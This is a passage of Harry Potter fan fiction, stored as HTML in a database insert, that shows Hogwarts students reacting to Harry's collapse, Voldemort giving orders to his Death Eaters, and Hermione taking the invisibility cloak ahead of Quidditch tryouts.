slow but were prompt\nnone the less. Hagrid saw that Ron and Hermione did not leave and as much as it\npained him to do so, he did not think it was good of either Ron or Hermione to\nsee what was going to happen to him next. He looked at the pair and said, &quot;\nI said everyone!&quot;</p>\n\n<p>&quot; But...&quot;\nstarted to say Ron, but stopped when Hermione started to pull him back.</p>\n\n<p>&quot; We\nshould go.. We&#8217;ll only get in their way and Harry might.&quot; she paused as a\nlump got caught in his throat, &quot; ... something bad might happen to\nhim...&quot; Ron gave up trying to stay.</p>\n\n<p>After they\nleft Hagrid, looked at Neville and said, &quot; Ye got yer wand?&quot; Neville\nnodded. &quot; Well get it out... if any one tries to get past yer... blast...er....\nYe know how to do a body-binding charm right?...&quot;</p>\n\n<p>&quot; Yes...&quot;\nsaid Neville. Not many people knew it but that was the only spell in charms he\ncould do flawlessly. After the end of his first year, he studied that specific\ncurse very well. Over the course of the last three years he had become very\ngood at it, because of his constant practice.</p>\n\n<p>&quot; Lock\nthe door after I leave. Professor Dumbledore will open it when he comes&quot;\nwith that he closed the door behind him and Neville locked the door from\ninside. He sat down on the bed next Harry&#8217;s and waited patiently. He was a bit\nafraid of the mob (he could hear their loud talk) outside.</p>\n\n<p>About five\nminutes when Professor Dumbledore had come to a stand still in front of the\ndoor, he waited patiently for what was to come next. Sure enough at that very\nmoment, Hagrid appeared at the closest corridor to where he was standing. He\nlooked tired and was huffing and puffing when he reached the headmaster. </p>\n\n<p>&quot;\nProfessor... \'Arry... he fainted...&quot;</p>\n\n<p>&quot; I know.\nI assume you\'ve put him in his hospital wing?&quot; it was not a question since\nHagrid knew the professor already knew the answer to that question already. </p>\n\n<p>He simply\nnodded. &quot; ... professor...&quot; Hagrid was going to ask the headmaster a\nquestion but was interrupted in the middle. </p>\n\n<p>&quot; I know\nyou\'ve many questions, Hagrid. Follow me, please. ...&quot; the headmaster did\nnot head for his office instead started to head for the Hospital wing. </p>\n\n<p>Hagrid saw the\nprofessor do something with his wand, when a bright white light exploded for a\nfraction of a second, over them. Suddenly all the student\'s walking past them\nmade no noise what so ever. Hagrid saw them open their mouth, but nothing came\nout. Realizing it was some kind of advanced privacy spell he said nothing about\nit. After about a minute of silence, the professor spoke. &quot; I assume from\nyour silence you\'ve had experience with something of this sort... Ms. Granger\nperhaps.&quot;</p>\n\n<p>&quot; Yes,\nProfessor.&quot; Replied Hagrid.</p>\n\n<p>&quot; You saw\nhim emanate... didn\'t you?&quot;</p>\n\n<p>Hagrid could\nonly nod in response. Even though the headmaster was actually walking in front\nof Hagrid, he reacted as if he saw Hagrid nod. &quot; I\'m sorry, I should have\nhad told you before...&quot;</p>\n\n<p>&quot; It\'s\nthe same as I saw with To...&quot; he stopped himself. &quot;... HIM. Is the\nsame going to happen to him? &quot;</p>\n\n<p>&quot; In a\nway....&quot; he turned his head back to smile at the half giant &quot;...\nhe\'ll go through it faster... It\'s a good thing he\'s going through it here. I\ncan look after him.&quot;</p>\n\n<p>&quot; HE\nturned evil right after that&quot; said Hagrid meaning about how Lord Voldemort\nbecame evil after going through the same thing Harry was going through.</p>\n\n<p>&quot; He was\na lost soul long before this happened to him and Harry...&quot; his voice held\npride as he said the rest of the line, &quot; Well he\'s Harry. Too much good in\nhim to be tempted to abuse it... I suspect he\'d rather want to hide this fact\nfrom everyone. He won\'t change mentally. He\'s too strong for that. That\'s why\nVoldemort wants to kill him....&quot;</p>\n\n<p>It finally\nmade sense to Hagrid why Voldemort had been after Harry from the time he was\nborn. If Harry was weak minded like Tom had been then the transformation would\nhave had corrupted him over the years and eventually Harry would have had\njoined the dark side. But since Harry was stronger willed; he was a threat to\nVoldemort\'s plan for world domination.</p>\n\n<p>&quot; Is that\nwhy...&quot; he did need to finish his question when he got the answer.</p>\n\n<p>&quot; Yes,\npartly.&quot; it was an ominous answer.</p>\n\n<p>&quot; Will\nyou tell him?...&quot;</p>\n\n<p>&quot; No... not\nyet....&quot;</p>\n\n<p>&quot; Why?&quot;\nasked Hagrid curious.</p>\n\n<p>&quot; He\'s\nnot ready yet. He has to know himself before, I can give his answer to that\nquestion.... Hagrid. I know you know the reasons for Harry\'s life, if you don\'t\nwant history to repeat then...&quot;</p>\n\n<p>&quot; I want\nyou to do the memory charm on me Professor... I don\'t think I can stop myself\nif he asks....&quot;</p>\n\n<p>&quot; I\'m\nsorry Hagrid, but that is not acceptable. He&#8217;ll see the spell on your mind.\nHe&#8217;ll want to know what&#8217;s there. But if you don\'t say anything.... he won\'t\nknow.&quot;</p>\n\n<p>&quot; You\'re\ntrusting me to keep this a secret...&quot;</p>\n\n<p>&quot; No...\nI\'m telling you if you care about Harry, forget what you saw today&quot;</p>\n\n<p>&quot; I\nwill... for Lily\'s sake... for James and most of all Harry\'s sake, I\'ll forget\nwhat I know.&quot; This time Hagrid decided was not going to be like the first\nyear with Harry. Every sentence involving Harry, Lily and James would go though\nhis brain several times before he\'d let it out of his mind.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldermort\nlaughed when Wormtail made the speech about how all he did was to please his\nmaster. Voldemort knew why his followers followed him. None of his followers\nwere the &#8216; Make master happy &#8217; types. There was only one that had died the year\nbefore. </p>\n\n<p>Barty Crouch\nJr. He was almost like a son to him &#8211; indeed if he had only managed to get a\nmortal body, and die a natural death &#8211; he would have had named the boy his\nsuccessor. Even if he did have an immortal body, he would have made that boy\nhis other arm, after the LeStranges as his right. </p>\n\n<p>All his other\nservants had a bigger master than him. It was greed. They all wanted power,\nfame, or glory and they would do almost anything to get it. That is why they\nfollowed him. Then again he did know this. He wanted them to follow something\nhigher than himself &#8211; he knew then what motivated them.</p>\n\n<p>&quot; You and\nI both know that\'s not true, Wormtail.&quot; he hissed at the man crouching\nbefore him, &quot;.... But I\'ll punish you later since your reward out weighs\nthe reason for your punishment &#8211; for today.&quot;</p>\n\n<p>&quot; What do\nyou wish of me?... my lord&quot; Wormtail said, breathing a sigh of relief.</p>\n\n<p>&quot; You\'ll\nlead the attack on the muggle born children of Hogwarts at the end of the\nyear...&quot;</p>\n\n<p>Lucius Malfoy\nemerged from the shadows and said in an outraged tone of voice said, &quot; My\nlord... you promised me....&quot; he didn\'t get to finish the sentence when a Crucious\ncurse went through his body. There was not an incantation or anything of that\nsort heard by anyone but the caster himself. </p>\n\n<p>Severus Snape.</p>\n\n<p>&quot; Do not\ninterrupt the lord again...&quot; he said as he released Lucius from the\nforbidden spell.</p>\n\n<p>&quot; Ahhhh...\nWhat news do you bring of Harry Potter?....&quot; his red eyes glowed as he\nsaid this.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s charms\nteacher was very impressed with her spell to change the color of the pig that\nwas in front of the class. She was the only person who had gotten the charm\nright on the first go, but it had exhausted her. She asked Professor Flitwick\nfor permission to go outside the class to get some fresh air. Just as she\nstepped out of the room... she collided with someone moving very fast. </p>\n\n<p>( A/N: The\nwhole of the Gryffindor house seems to under a tripping over each other curse&#8230;\nhmmm )</p>\n\n<p>The force of\nthe blow sent her along the corridor a few meters before friction from the\nfloor brought her to a halt. &quot; Awww...&quot; said Ginny to look up to see\nwho was her assailant. It turned out to be a hyperventilating Dean Thomas.<br>\n&quot; Sorry... no time... got to go&quot; said Dean and he made a run for the\nhospital wing. He didn&#8217;t even stop to see if Ginny was alright. She started to\ngrumble to herself about rude boys when someone she didn&#8217;t know came over to\nwhere she was.&nbsp; He extended his hand and said, &quot; Here... let me help\nyou.&quot;</p>\n\n<p>&quot; ...er..thanks...&quot;\nshe said as she got off the floor, with the help of the sandy haired boy. He\nhad a mop of hair much like Harry&#8217;s though his were ruffled because it was\nevident that something big was going on outside the class. &quot; What&#8217;s you\nname?...er... if you don&#8217;t mind me asking?&quot;</p>\n\n<p>She could have\nhad sworn she saw him blush, but dismissed the thought since someone actually\nblushing over her was a concept totally unknown to her. Even Collin her current\n&quot;not-my-boy-friend&quot; did no such thing. She sometimes thought that\nCollin was a bit too involved with Harry for his own good, but being close to\nhim also allowed her access to some really good photos of the person she was\nhead over heels for. Harry.</p>\n\n<p>&quot; Ginny...&quot;\nshe paused as she blurted out her name then realized she had forgotten her last\nname, &quot; Ginny Weasley&quot;</p>\n\n<p>&quot; Well\nGinny Weasley...&quot; he beamed a smile at her as though he approved of her\nname, &quot; I&#8217;m Terry Boot. You&#8217;re a fourth year aren&#8217;t you?&quot;</p>\n\n<p>&quot; Yeah...&quot;\nshe said amazed, &quot; How did you know?&quot;</p>\n\n<p>&quot; errr...\nI have to go... Harry Potter&#8217;s been injured.&quot; he said as he was about to\nleave. She quickly grabbed his hand before he could fully turn away from her.</p>\n\n<p>&quot; What&#8217;s\nhappened to him?&quot; she asked. Her voice was loud and it was frightening\nenough to scare Terry who was a year older to say, &quot; He fell\nunconscious....&quot; </p>\n\n<p>Ginny didn&#8217;t\nlook happy at the news and he thought she was going to hit him really badly. A\nbit frightened, he tried to get away from her. &quot; Where is he?&quot; she\nasked.</p>\n\n<p>&quot; Hos....Hospital....&quot;\nhe didn&#8217;t get to finish the race when Ginny made a mad dash for the Hospital\nwing. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>When Snape was\nin school, he wanted more than anything to get acceptance from Professor\nDumbledore. He worked hard trying to get James and his band of Marauders to get\nexpelled because of the pranks that they pulled. Professor Dumbledore knew of\nthe activities of the James and his gang, but did nothing to discourage them,\nonly increasing Snape&#8217;s hatred for James.</p>\n\n<p>James also was\nmuch better than him, academically. Always coming second to James in every\nthing including to the one girl that he thought he loved was something he did\nnot want to see. When that happened he latched on to the one person that recognized\nhis brilliance. </p>\n\n<p>That being Voldemort.\n</p>\n\n<p>Even though he\nwas naive in the beginning about Lord Voldemort&#8217;s need for him, he soon realized\nthat Lord Voldemort did not really like him the way he wanted Professor\nDumbledore to like him, rather Snape was just one of his tools.</p>\n\n<p>Realizing that\nhe set out to correct mistakes of his past... one of the very first things he\ndid was to give warning to James and Lily of the danger to their lives. Even\nafter the warning Snape never felt that he had done enough to prevent their\ndeath. That is why he helped Harry in his first year against Professor Quirrell/Voldemort.</p>\n\n<p>It was a\nrisk... a grave risk for him to come back to the dark lord&#8217;s side. The dark\nlord knew of his betrayal, and knew that he was working as a double agent. But\nthis allowed him information from Professor Dumbledore&#8217;s side (real or\nfictional) and in return he fed Snape information, some real - others not. But\nthat did not mean that Voldemort was going to spare Snape from the Crucious\ncurse... not when he had to endure so much, for so long.</p>\n\n<p>&quot; I have\nonly one news my lord, he&#8217;s sick. If you wish, I will poison him.&quot; said\nSnape in a toneless voice, almost as if he was an automaton. He did not mean it\nand both he and Voldemort knew it. Voldemort was happy that finally his enemy\nwas becoming visible... He laughed in his high pitched voice, sending shivers\nthrough all the death eaters present in the dark, damp and cold room.</p>\n\n<p>&quot; I know\nof the his &quot;sickness&quot; as you call it....&quot; he paused. His eyes\nglowed more red as he spoke, &quot; you can&#8217;t poison him..&#8221;</p>\n\n<p>Voldemort\nstopped himself from saying that no poison could kill Harry anymore, as he knew\nthat might tempt his followers to remove him. Together they were a lot stronger\nthan he was right now. He couldn&#8217;t expose his own weaknesses. &quot;... I want\nto kill him myself. Remember that. No one tries to kill him other than\nme.&quot;</p>\n\n<p>&quot; I\napologize, my lond.&quot;</p>\n\n<p>&quot; Shut up,\nSeverus. I grow tired of you... If you do not want me to kill you right now...\nleave.&quot;</p>\n\n<p>&quot; Yes my\nlord&quot; Snape did not dare get up from where he was. With a small pop he was\ngone.</p>\n\n<p>Voldemort\nturned his eyes on Wormtail, who was still kneeling before his master and said,\n&quot; Wormtail....&quot;</p>\n\n<p>&quot; Yes my\nlord...&quot;</p>\n\n<p>&quot; I want\nyou to go to Russia..&#8221; he hissed, &#8220; Do you know what you have to do there...&quot;</p>\n\n<p>&quot; ... I\nthink so, master. But I dare not presume to know what you are thinking my\nlord.&quot;</p>\n\n<p>&quot; ...\nThere is a place near Siberia... you know what to get from there?&quot; </p>\n\n<p>&quot; Yes my\nlord&quot; he replied</p>\n\n<p>&quot; Take 20\nof the new recruits with you.&#8221; Voldemort was smiling in a cruel way. &#8220; They\nhave yet to taste the blood of the dead &#8211; they need to do it. They need to love\nit. &quot;</p>\n\n<p>&quot; By your\norder my lord...&quot; said Wormtail as he got up to leave. Half way out of the\nchamber he heard his master utter the word &quot; Crucio&quot; and his body was\nwracked with pain as every nerve ending in his body felt as though they were on\nfire. He was hit with a Crucious curse.</p>\n\n<p>&quot; This\nwas only a taste of what is waiting for you if you fail. Do. Not. Fail. Me. Wormtail.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort knew\nit would take him, years if not decades, to reach his true level again. It was\nhis punishment for tampering with fate, that he was forced to live so long\nwithout a body. It had been foretold long before that Harry and Voldemort were\nto face off each other at the age of fourteen... to the victor would go the\nworld, for a long time until another evil or force of good comes up.</p>\n\n<p>Voldemort\nkilled one Centaur to gain that particular bit of prophecy a long time ago and\nonly a few days ago he killed another gaining a brand new one. This one was\neven murkier than the one before. This one predicted that Harry and Voldemort\nwould fight a battle a day in three years time.</p>\n\n<p>When and where\ncould not be told from the stars, but it was to take place when Harry was a\nfull grown Wizard. For interfering with the prophecies, he was deprived of his\nbody for over a decade and now that he had it back &#8211; Voldemort dared not defy\nthe prophecies of the Centaurs again. For this time without his experimentation\nwith immortality like he had done so before, he would certainly die.</p>\n\n<p>&nbsp;</p>\n\n<p>When Wormtail\nleft the room, Voldemort focused his gaze upon the shivering body of Lucius\nMalfoy. &quot; Lucius... It was a good thing that Severus did what he did. Had\nhe not done that You would have been killed... no... I think life worse than\ndeath would be more appropriate. More like the ones the Long Bottoms went\nthrough...&quot;</p>\n\n<p>&quot; I apologize\nmaster...&quot;</p>\n\n<p>&quot; I care\nnot for them, I want you to send messages to the Dementors in Azkaban. They&#8217;ll\njoin us soon enough. I want you to organize their revolt. It won&#8217;t take you\ntime to organize that, so leave that for now. Organize a group of thirty Death\nEaters to hunt down the traitorous scum... Karakauff. I want his head on a\nplatter.&#8221;</p>\n\n<p>&quot; As you\nwish...&quot;</p>\n\n<p>&quot; Lucius,&#8221;</p>\n\n<p>&#8220; Yes master.&#8221;</p>\n\n<p>&#8220; I will kill\nyour entire family if you fail.&#8221;</p>\n\n<p>&#8220; Yes master.&#8221;</p>\n\n<p>&#8220; And Lucius,\n&#8216;Crucio!&#8217; &#8211; &#8221;</p>\n\n<p>Voldemort&#8217;s\nlaugh filled the air, as Voldemort threw yet another curse at Lucius.</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 31, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 31<br>\n<b>Chapter Name:</b> Plans, Parvati &amp; Preconceptions</p>\n\n<p>&nbsp;</p>\n\n<p>Neville was\nglad, that when the door opened it was Professor Dumbledore. If it had been\nanyone else he was not sure if he would have had been able to keep the promise\nhe made to Hagrid. The wise wizard&#8217;s eyes held pride as he looked over at\nNeville. The headmaster made his way to Harry&#8217;s bed, but made a stop to see\nNeville first, while Hagrid locked the door behind them. Whatever Neville was\nexpecting what happened next was not it.</p>\n\n<p>&quot; How are\nyou doing, Neville?&quot; said Professor Dumbledore as he gently ruffled\nNeville&#8217;s hair.</p>\n\n<p>&quot; Fine...\nsir&quot; he replied, pleased with himself for getting some affection from a\nmember of staff other than Professor Sprout and this was the headmaster no\nless.</p>\n\n<p>&quot; Thank you,\nNeville for looking after Harry.&quot;</p>\n\n<p>&quot; I...it wwa..was\nmy pleasure sir&quot; stuttered Neville. This was the first time in his life he\nwas stuttering, not because he was afraid, but was overcome with feelings that\nhe had no names for.</p>\n\n<p>&quot; You&#8217;re\nwell enough to go back...&quot; Professor Dumbledore either paused or was\ninterrupted in mid sentence, when the door to the room burst open and a loud\nnoise echoed throughout the corridors.</p>\n\n<p>&nbsp;</p>\n\n<p>On the other\nside of the door stood and angry looking Madam Pomfrey, her face flustered. She\nwas rather angry to have heard that there was a patient in the hospital wing\nand no one thought to get her, to top that off she had to hear it from a\nterrified looking Ravenclaw. &quot; Where is he?&quot; she demanded. Her voice\nembodied something that frightened, even Hagrid, who was at least five feet\ntaller than her. Professor Dumbledore didn&#8217;t flinch. </p>\n\n<p>The Professor\nthen turned to Neville.&quot;... go out into the hallway and join rest of the\nclasses.&quot; Neville nodded and ran out past the angry woman at the door. </p>\n\n<p>When Neville\nhad left the room, in the castle where Harry was laying unconscious, Professor\nDumbledore was getting ready to do something quite drastic to revive him. He\nhad not done this type of advanced ancient magic for a long time, and the only\nother time he had done it was when he faced off Grindelwald. </p>\n\n<p>&quot; Hagrid?\nCould you do something for me?&quot;</p>\n\n<p>&quot; Yes\nprofessor, what is it that ya want me to do?&quot;</p>\n\n<p>&quot; I want\nyou and Madam Pomfrey to go out of the room...&quot; Madam Pomfrey looked like\nshe was going to start an argument, but something inside her made her stop.\n&quot;...Clear both sides of the corridor and make sure you post the head boy\nand girl on each side of the corridor. No matter what you hear or see, don&#8217;t\ntry to come into the room.&quot;</p>\n\n<p>Hagrid did not\nneed to be told, twice. He knew Professor Dumbledore knew, what he was doing,\nbut the comment bout no coming into the room was one that disturbed him.</p>\n\n<p>&quot; Albus,\nwhat&#8217;re you going to do?&quot; asked madam Pomfrey.</p>\n\n<p>&quot;\nSomething that&#8217;ll hurt Harry a lot....&quot; he said very slowly.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Very soon\nafter Neville went outside the hospital room, three pairs of hands quickly\nplucked him out of the small crowd. The hands belonged to three people very\nclose to Harry. They were Hermione, Ron and Ginny. &quot; How&#8217;s he doing?&quot;\nasked Ron.</p>\n\n<p>&quot; Is he doing\nokay?&quot;, added Hermione.</p>\n\n<p>&quot; Is he\nawake yet?&quot; asked Ginny.</p>\n\n<p>&quot; Hold on\na sec... will you?...&quot; said Neville.</p>\n\n<p>&quot; Well?&quot;\nasked Hermione folding her hands in front of her and standing on one foot while\ntapping the ground with the other.</p>\n\n<p>&quot; He&#8217;s\nstill unconscious&quot; said Neville, much to the three of his interrogators&#8217;\ndismay.</p>\n\n<p>&quot; Well\nlets go...&quot; said Hermione, as she reluctantly started to move to where her\nnext class was due to be held, &quot;...well come on...&quot; she said to Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>As much as\nHermione quickly giving up was a surprise to Ron, he thought he saw her point\nin giving up. It was unlikely that Harry would wake up soon, and if he did it\nwould be at least a day before Madam Pomfrey would let anyone into the hospital\nwing. But Hermione had not really given up. In fact she was cooking up a plan\nto go see Harry that very night. </p>\n\n<p>Alone.</p>\n\n<p>Hermione\nwanted to talk to Harry alone, even if he was going to be unconscious. She did\nnot want Ron present there because Ron had a tendency to get jealous. Hermione\nwas sure she would cry, and she was sure that Ron would see it as affection for\nHarry. This year more than anything else, Hermione knew, it was important for\nboth Ron and her to be by Harry&#8217;s side. Anything that might disrupt that\nfriendship could have dire consequences for Harry, and as a friend she did not\nthink she would be able to bear that pain in her.</p>\n\n<p>&quot; I\ndidn&#8217;t think you&#8217;d give up so soon,&quot; said Ron as they headed for their\nnext class, Neville next to him, &quot;... I mean it&#8217;s so unlike you...&quot;</p>\n\n<p>She leaned\ncloser and lied to Ron with a straight face, &quot; I don&#8217;t want to talk about\nthat git!&quot;</p>\n\n<p>&quot; Okay,&#8221;\nRon said putting up his hand. &#8220; It&#8217;s just that you were as concerned about him\nas me.&quot; said Ron with a\nlook of confusion on his face.</p>\n\n<p>&#8216; He looks\ncute when he&#8217;s confused,&#8217; thought Hermione as she replied, &quot; Well... I\nchanged my mind...anyway... you want to go to the Library to do some research\nfor History of Magic Class&quot;</p>\n\n<p>Ron didn&#8217;t\nhave to think about the question. Even though it would have been a great\nopportunity to get close to Hermione, he didn&#8217;t really want to do that kind of\nstudying in the library with her. </p>\n\n<p>He grabbed\nNeville and said, &quot; No...Sorry! I can&#8217;t! I promised Neville here I was\ngoing to help him practice for Quidditch trials.&quot;</p>\n\n<p>&quot; I said\nthat?!&quot; Neville scratched his head in confusion.</p>\n\n<p>&quot; Yes,\nyou did. Remember...&quot; went on Ron.</p>\n\n<p>Hermione could\nsee that Ron was lying, but this turn of event was going to fit in with her\nplan perfectly. Just to make it easy, &quot; Oh... I need to go back to the\ncommon room. I&#8217;ll be a while in there... where&#8217;ll you two be when you&#8217;re doing\nyour practice. If I finish a bit early... may be I&#8217;ll watch you guys.&quot;</p>\n\n<p>Ron&#8217;s smug\ngrin that he had just pulled one past Hermione wiped away. <i>&#8216; Damn! Now I\nreally have to help Neville... but then again I really needed to train...,&#8217;</i>\nhe thought.</p>\n\n<p>&quot;...er\nwe&#8217;ll be in the Quidditch field...&quot;</p>\n\n<p>&quot; Don&#8217;t\nyou need your brooms?&quot; she asked hoping they would say no.</p>\n\n<p>&quot; No... we&#8217;ll\nbe using the school ones... er... if we don&#8217;t get going we&#8217;ll have to stop\nbefore we start&quot;</p>\n\n<p>Ron grabbed\nNeville&#8217;s arm and then broke into a run.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione\nherself broke into a run, but not in the direction that she was supposed to.\nShe headed back to the common room. All the boys and girls other than Ron,\nNeville and Hermione had decided to stay there. So there was no chance of her\ngetting caught doing what she wanted to. She didn&#8217;t stop long enough for the\nfat lady to complain about how the Gryffindor girls now a days were so rude.</p>\n\n<p>She ran\nstraight into the Harry&#8217;s dorm room and went to where she knew Harry had hid\ninvisibility cloak and the Marauders map. She knew that she had very little\ntime so she quickly folded the brown piece of parchment in a pocket in her\ncloak and wrapped herself in the invisibility cloak. It was a good thing she\ndid, since at that very moment Dean and Seamus came into the room.</p>\n\n<p>&nbsp;</p>\n\n<p>They stood on\nthe threshold of the door talking. &quot; You know the end of term\nball...&quot; said Seamus.</p>\n\n<p>&quot; There&#8217;s\none?&quot; asked Dean incredulous.</p>\n\n<p>&quot; Of\ncourse there is... my brother told me about it last year... who would you take?\nOut of anyone...&quot; he asked.</p>\n\n<p>&quot; The\nhead-girl...&quot; said Dean dreamily, before he went totally serious,\n&quot;...but more realistically... I like Parvati&quot;</p>\n\n<p>&quot; Parvati!\nReally?&quot; Seamus raised one of eyebrows.</p>\n\n<p>&quot; Yes!&quot;\nit looked as though someone had insulted Dean, &quot; She&#8217;s smart and\npretty&quot; Dean&#8217;s brown skin made it hard to see it but he was blushing.</p>\n\n<p>&quot; Hey!\nDon&#8217;t get your undies in a bunch&quot; he said, putting up his hands to stop\nany physical assault that might follow, &quot; Sorry! I didn&#8217;t think you liked\nher...er...in that way...&quot;</p>\n\n<p>&quot;...okay...\nIf you think Parvati is not nice then who do you wanna take?&quot;</p>\n\n<p>&quot; if I\ncould take anyone, it&#8217;d be Cho Chang that seeker for Ravenclaw....er.... we\nboth know she&#8217;s not in our league... I have my mind set on a Hufflepuff girl...\nI&#8217;m asking her after charms&quot;</p>\n\n<p>&quot; You&#8217;re\nasking someone this early? Why?&quot;</p>\n\n<p>&quot;\nRemember last year...&quot;?</p>\n\n<p>&quot; I\nwaited a long time to ask her, by the time I got my nerve up, she was already\ngoing with someone else. I almost didn&#8217;t get a date for the ball...&quot;</p>\n\n<p><i>&#8216; Merlin! Are\nall the Gryffindor boys like this?,&#8217;</i> thought Hermione, remembering that Harry did\nthe same thing the year before. She felt a bit bad listening in on their\nconversation, but she had to stay where she was, if she wanted a quick escape. </p>\n\n<p>&quot;... so\nwho is it?&quot; asked Dean Thomas.</p>\n\n<p>Seamus had\nlight skin and when he blushed, his head looked more like a tomato. &quot; er..\nHannah... Hannah Abbott.&quot;</p>\n\n<p>&quot; Umm...\nshe&#8217;s ok... who do you think Neville is going with. Ginny again?&quot;</p>\n\n<p>&quot; I don&#8217;t\nthink, she&#8217;s going to make that mistake again...&quot; snorted out Seamus\namongst his laughter. Hermione felt bad for Neville knowing that he probably\nwould not get a date.</p>\n\n<p>&quot; I think\na girl likes him already....&quot; said Dean in a mysterious voice. Hermione&#8217;s\near pricked up, even though she was trying not to listen to them a second ago.</p>\n\n<p>&quot; Who?\n...&quot; Seamus became very curious when he heard that bit of information. It\nwas hard for him to believe that a girl would actually like Neville. Well\nexcept for Hermione, who had been helping him, get along in his classes, but\nthere was nothing there. Everyone could tell by the way Hermione and Ron always\nfought that they were meant for each other. Even though this was the case,\nSeamus ventured forth a guess, though he knew it was wrong, &quot;... Hermione?&quot;</p>\n\n<p>Hermione took\na step back. She had no idea that someone would think that she had romantic\ninterest in Neville. She had to restrain herself, from talking back to the two\nboys to make it known that she was not in anyway or shape was attracted to him.</p>\n\n<p>&quot; Hermione....\nyou&#8217;re joking right?&quot; said Dean.</p>\n\n<p>&quot; ... so\nyou think she has a thing for Ron as well...&quot;</p>\n\n<p>Dean nodded. &quot;\nSo does half the school. The way they fight... it&#8217;s so obvious&quot;</p>\n\n<p>Hermione took\nso many steps back that, any more she would not have heard rest of the\nconversation. <i>&#8216; They Know! But how?!&#8217;</i></p>\n\n<p>&quot; ...so\nwho is it?&quot;</p>\n\n<p>&quot; You\nknow that okay looking Slytherin girl that used to hang around Malfoy...&quot;\nsaid Dean, before he got interrupted.</p>\n\n<p>&quot; No\nkidding...&quot; Seamus&#8217; his hand went up to cover his mouth, &quot; Pansy...&quot;</p>\n\n<p>&quot; I\nknow... it&#8217;s kind of hard to believe that Malfoy&#8217;s ex-girlfriend has a thing\nfor Neville...&quot;</p>\n\n<p>Seamus started\nto stammer &quot; bu.... but...&quot;</p>\n\n<p>&quot; I know\nshe&#8217;s probably the best looking Slytherin girl in her year.... That&#8217;s not\nsaying much... but that&#8217;s pretty good for Neville.&quot;</p>\n\n<p>&quot; Yeah...&quot;\nSeamus looked uncertainly at his broom on the other side of the room. &quot;\nYou think we should bother to enter the tryout... I mean Ron&#8217;s going to be in\nit and his whole family except for Percy was in the Quidditch team... he&#8217;s\nbound to be good and I hear Harry is the co-captain. He&#8217;ll have connections in\nthe high places &#8211; he&#8217;s bound to get into the team.&quot;</p>\n\n<p>&quot; You\nthink Harry would do that...&quot;</p>\n\n<p>&quot; He\nmight... but then again we thought he put his name in the goblet as well didn&#8217;t\nwe. Who would have had guessed it was a trap for him...&quot;</p>\n\n<p>&quot; Yeah...\nwhen Harry&#8217;s concerned, you can&#8217;t be sure of anything...&quot; Seamus moved out\nof the doorframe and started to move to where his broom was. Dean already had\nhis.</p>\n\n<p>When they both\nstopped blocking her exit path, Hermione made a quick run for the door. Once\nsafely away from dorm room for the boys, she headed straight for her own room.\nThere she took out all of her stuff from the bottom drawer of her closet door\nand put the invisibility cloak in there. She then covered it up with all her\nclothes that were originally there.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Glad that her\nplan was a success, she sauntered merrily down to the Quidditch field to watch\nRon and Neville practice... &nbsp;<i>&#8216; Well watch Ron anyway,&#8217; </i>thought Hermione had\na small blush appear on her face. It still amazed her that according to Seamus\nand Dean, half the school suspected that they had a thing for each other. <i>&#8216; The\nother half must think I have a crush on Harry...</i>&#8217; remembering all the\npeople the year before had asked her if she was his girlfriend. </p>\n\n<p><i>&#8216; Oh\nwell... I can&#8217;t really complain... Both of them are quite good looking, and\nboth are my best friend... there&#8217;s bound to be some confusion. Good thing, I\nhave my crush chosen already. Ron...&#8217; </i>, the rest of her thoughts were too\ncomplicated to be explained in here, &nbsp;&#8220;... Oh! I just love that red\nhair...&quot; suddenly she said it out loud. It was a good thing that no one\nwas there. Otherwise it would have had been a disaster.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>In the\nQuidditch field, Parvati Patil was looking at all the boys on their brooms,\nnaked from waist up. She was so deeply engrossed in her observations, that she\ndid not notice Hermione, sit down next to her. Ron, Neville, Dean, Seamus and a\nfew of the Ravenclaws were all practicing together. From what Hermione saw, Ron\nhad about as much chance in getting into the keeper position, as anyone else.\nThey were all mediocre in terms of talent. Though her knowledge of Quidditch\nonly extended as far as watching the matches that Harry played in and even them\na lot of the times her nose was in the books. </p>\n\n<p>&quot; How\nlong have you been watching them?&quot; Hermione asked, wanting to make a\npolite conversation.</p>\n\n<p>&quot; ...Umm...almost\nfrom the beginning....&quot; the suddenly she shouted to the boys, &quot;\nSeeker missile at 3 o&#8217;clock.....&#8221; Parvati cringed then. &#8220; Ouch... that must have hurt.&quot;\nShe turned back to Hermione and said, &quot; seeker missile is not used that\noften cause it stops the seeker from what he is supposed to do.... oh look it&#8217;s\nRon&#8217;s turn now...&quot;</p>\n\n<p>After that\nevery time one of the boys would miss, Parvati next to her would pipe up and\ntell Hermione what they did wrong. This was a new side to Parvati that Hermione\nnever known before, but then again they were never really friends to begin\nwith.</p>\n\n<p>&quot;... see\nhow Ron missed the last one, that&#8217;s because he kept his eyes on only the front\ntwo chasers. The third one was moving much slower so he did not pay any\nattention to that one... classic beginner&#8217;s mistake.&quot;</p>\n\n<p>A few minutes\nlater... &quot; Oh see that one that Neville just missed... this one was a bit different\nfrom the one before, this strategy only works if the other one happened before.\nThe three of the chasers start moving fast and one of the beaters join in, when\nthey separate the chaser pretends to go after the one of the Quaffle. The\nbeater hides his stick and the keeper thinks that the beater is going to\nreceive the ball... and then bam. One of the chasers put it through the\nhole.... Who do you think is going to be next?&quot; asked Parvati to Hermione,\nwhose mouth was wide open.</p>\n\n<p>&quot; What?...\ndo I have something in my teeth?&quot; asked Parvati starting to use on of her\nfingers to see if anything was sticking out in there.</p>\n\n<p>&quot; er...\nno. You know a lot about this keeping thing. I just didn&#8217;t think you&#8217;d be\ninterested in Quidditch, what with ...er...&quot; Hermione stopped 